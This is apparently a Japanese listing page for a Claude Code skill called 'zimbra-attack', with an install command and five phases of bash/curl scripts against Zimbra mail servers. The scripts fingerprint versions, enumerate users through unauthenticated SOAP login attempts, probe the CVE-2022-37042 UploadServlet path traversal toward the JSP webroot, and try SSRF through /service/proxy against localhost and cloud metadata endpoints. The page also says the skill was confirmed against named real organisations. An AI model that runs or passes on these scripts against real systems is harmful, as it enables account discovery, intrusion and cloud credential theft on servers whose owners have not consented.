zimbra-attack について
zimbra-attackは、Zimbra Collaboration Suiteの攻撃対象領域を調べるセキュリティテストガイドです。許可を得たテスター向けに、バージョン特定、SOAPユーザー列挙、脆弱性確認、管理コンソールの露出確認を扱います。
主な機能
- 01Zimbraサービスとバージョンの特定
- 02SOAPユーザー列挙テスト
- 03UploadServletのパストラバーサル確認
- 04プロキシエンドポイントのSSRF調査
- 05管理コンソールの露出確認
活用シーン
- 01対象メールホストでのZimbra稼働確認
- 02SOAPによる有効ユーザー情報の判別テスト
- 03特定バージョンのUploadServletとプロキシ端点の検査
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill zimbra-attackインストール後、Claude Code で/zimbra-attackを入力して読み込まれたか確認します。
詳細
Zimbra 攻撃スキル
Zimbra Collaboration Suite の攻撃対象領域 — 認証なしでの SOAP API によるユーザー列挙、バージョンのフィンガープリンティング、UploadServlet のパストラバーサル(CVE-2022-37042)、/service/proxy による内部 SSRF、Admin コンソールへのアクセス。IGN Argentina(Zimbra 8.8.11、管理者ユーザーを確認、UploadServlet が稼働)、gov-finance-portal(Zimbra ウェブメール、SOAP 認証が機能)、ITERJ(Zimbra ウェブメールが稼働)で確認済みです。
使用する場面
- ターゲットに
webmail.,mail.,zimbra.のいずれかのサブドメインがある場合。 - メールサーバーで
/zimbra/パスにリダイレクトされる場合。 - Server ヘッダーまたはページタイトルに「Zimbra」が含まれる場合。
subdomain-enumerationでウェブメールのホストが見つかった後。- 政府機関、大学、企業のターゲットの場合(これらの分野では Zimbra がよく使われています)。
前提条件
- curl と python3 を備えた
terminal。 - ターゲットの Zimbra URL(通常は
https://webmail.target.com)。 - CVE の悪用には、ターゲットの Zimbra バージョンに関する情報が必要です。
実行方法
# Quick Zimbra detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "zimbra|zmail"
# SOAP user enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/service/soap/" \
-H "Content-Type: application/xml" \
-d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="name">admin@TARGET</account><password>test</password></AuthRequest></soap:Body></soap:Envelope>'
クイックリファレンス
| エンドポイント | 判明する内容 | リスク |
|---|---|---|
/service/soap/ | SOAP API — ユーザー列挙、認証テスト | 高 |
/service/soap/AuthRequest | 有効なユーザーと誤ったパスワードを区別 | 高 |
/zimbraAdmin/ | 管理コンソール(公開されている場合) | 重大 |
/service/upload?fmt=ext | UploadServlet(CVE-2022-37042) | 重大 |
/service/proxy?target= | 内部 SSRF | 重大 |
/service/extension/ | 拡張機能の一覧 | 中 |
/zimbra/downloads/index.html | バージョン情報の開示 | 中 |
/zimbra/skins/_base/logos/LoginBanner.png | Zimbra のブランド表示を確認 | 情報 |
手順
フェーズ 1 — 検出とバージョンのフィンガープリンティング
TARGET="$1"
OUTDIR="$OUTDIR/zimbra"
mkdir -p "$OUTDIR"
echo "[*] Zimbra detection on $TARGET"
# Check for Zimbra redirect/headers
INITIAL=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$INITIAL" | grep -qi "zimbra\|zmail"; then
echo "[+] Zimbra confirmed in headers"
fi
# Check page title
TITLE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null | grep -Eo '<title>\K[^<]+')
if echo "$TITLE" | grep -qi "zimbra"; then
echo "[+] Zimbra confirmed — Title: $TITLE"
fi
# Version from download page
VER=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/zimbra/downloads/index.html" 2>/dev/null | grep -Eo 'Zimbra[^<]+' | head -1)
if [[ -n "$VER" ]]; then
echo "[+] Version: $VER"
fi
# Version from SOAP response
SOAP_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/soap/" \
-H "Content-Type: application/xml" \
-d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' 2>/dev/null)
ZIMBRA_VER=$(echo "$SOAP_RESP" | grep -Eo '<VersionString>\K[^<]+')
ZIMBRA_RELEASE=$(echo "$SOAP_RESP" | grep -Eo '<ReleaseString>\K[^<]+')
if [[ -n "$ZIMBRA_VER" ]]; then
echo "[+] Zimbra version from SOAP: $ZIMBRA_VER ($ZIMBRA_RELEASE)"
fi
フェーズ 2 — SOAP によるユーザー列挙
TARGET="$1"
echo "[*] SOAP user enumeration on $TARGET"
# Test users
USERS=("admin" "administrator" "spam" "ham" "virus" "galsync" "wiki"
"user" "webmaster" "info" "contato" "suporte" "test")
for user in "${USERS[@]}"; do
# AuthRequest with wrong password — differentiates valid vs invalid user
RESP=$(curl -sk -X POST --max-time 5 --connect-timeout 5 "https://$TARGET/service/soap/" \
-H "Content-Type: application/xml" \
-d "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"/></soap:Header><soap:Body><AuthRequest xmlns=\"urn:zimbraAccount\"><account by=\"name\">$user@$TARGET_DOMAIN</account><password>wrongpass</password></AuthRequest></soap:Body></soap:Envelope>" 2>/dev/null)
if echo "$RESP" | grep -q "authentication failed"; then
echo " [VALID] $user — user EXISTS (wrong password)"
elif echo "$RESP" | grep -q "no such account"; then
echo " [INVALID] $user — does not exist"
elif echo "$RESP" | grep -q "<authToken>"; then
echo " [CRITICAL] $user — DEFAULT CREDENTIALS!"
fi
done
フェーズ 3 — CVE-2022-37042 UploadServlet のパストラバーサル
TARGET="$1"
echo "[*] CVE-2022-37042 check (UploadServlet path traversal)"
# This CVE allows unauthenticated file write via path traversal in UploadServlet
# Affects: Zimbra < 9.0.0 P27, < 8.8.15 P34
UPLOAD_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended" \
-H "Content-Type: application/octet-stream" \
-d "test" 2>/dev/null)
if echo "$UPLOAD_RESP" | grep -qi "upload\|success\|clientToken"; then
echo " [+] UploadServlet ACTIVE — CVE-2022-37042 potentially exploitable"
echo " Response: $(echo "$UPLOAD_RESP" | head -1)"
# Test path traversal (doesn't write — just tests if the endpoint processes it)
TRAVERSAL_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended&lbfums=" \
-H "Content-Type: application/octet-stream" \
-d "../../../../../../opt/zimbra/jetty/webapps/zimbra/public/test.jsp" 2>/dev/null)
if echo "$TRAVERSAL_RESP" | grep -qi "success"; then
echo " [CRITICAL] Path traversal appears functional"
fi
else
echo " [-] UploadServlet not accessible (patched or blocked)"
fi
フェーズ 4 — /service/proxy による内部 SSRF
TARGET="$1"
echo "[*] Internal SSRF via /service/proxy"
# Zimbra proxy endpoint allows internal HTTP requests
# Requires LOW-privilege auth, but worth probing unauthenticated
PROXY_TARGETS=(
"http://localhost:8080/"
"http://127.0.0.1:7071/" # Zimbra Admin port
"http://127.0.0.1:22/"
"http://[REDACTED_IP]/latest/meta-data/" # AWS IMDS
"http://metadata.google.internal/"
)
for pt in "${PROXY_TARGETS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
"https://$TARGET/service/proxy?target=${pt}" 2>/dev/null)
if [[ "$code" == "200" || "$code" == "500" ]]; then
echo " [SSRF] $pt → HTTP $code (internal service may be reachable)"
fi
done
フェーズ 5 — Zimbra Admin コンソール
TARGET="$1"
echo "[*] Zimbra Admin console check"
ADMIN_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/zimbraAdmin/" 2>/dev/null)
if [[ "$ADMIN_CODE" == "200" ]]; then
echo " [+] Zimbra Admin console EXPOSED"
elif [[ "$ADMIN_CODE" == "302" ]]; then
LOCATION=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/zimbraAdmin/" 2>/dev/null | grep -i "location:" | sed 's/.*: //')
echo " [REDIR] Admin console redirects to: $LOCATION"
else
echo " [-] Admin console: HTTP $ADMIN_CODE"
fi
# Check port 7071 (Zimbra Admin port, sometimes exposed without reverse proxy)
ADMIN_PORT=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET:7071/zimbraAdmin/" 2>/dev/null)
[[ "$ADMIN_PORT" == "200" ]] && echo " [CRITICAL] Admin console on port 7071 EXPOSED"
注意点
- SOAP によるユーザー列挙はログに残りやすいです。 リクエストごとに、Zimbra の監査ログにログイン失敗が記録されます。
- UploadServlet が nginx でブロックされることがあります。 Zimbra がリバースプロキシの背後にある場合、サーブレットが稼働していてもパストラバーサルがブロックされる可能性があります。
- 新しいバージョンでは、プロキシによる SSRF に認証が必要です。 8.8.15 より前のバージョンでは認証なしでアクセスできました。
- 7071 の Zimbra Admin は、デフォルトで内部向けです。 設定ミスがあるか、ポートフォワーディングされている場合にのみ公開されます。
検証
- SOAP AuthRequest では、「認証に失敗しました」(有効なユーザー)と「アカウントが存在しません」(無効なユーザー)を必ず区別できる必要があります。
- Zimbra のバージョンは、少なくとも 2 つの情報源(SOAP GetVersionInfo、ダウンロードページ、またはバナー)から必ず確認してください。
- UploadServlet の応答で、エンドポイントがアップロードを処理することを必ず確認してください。
- すべての調査結果を、正確な curl コマンドと応答とともに記録する必要があります。
コメント
Markdown 対応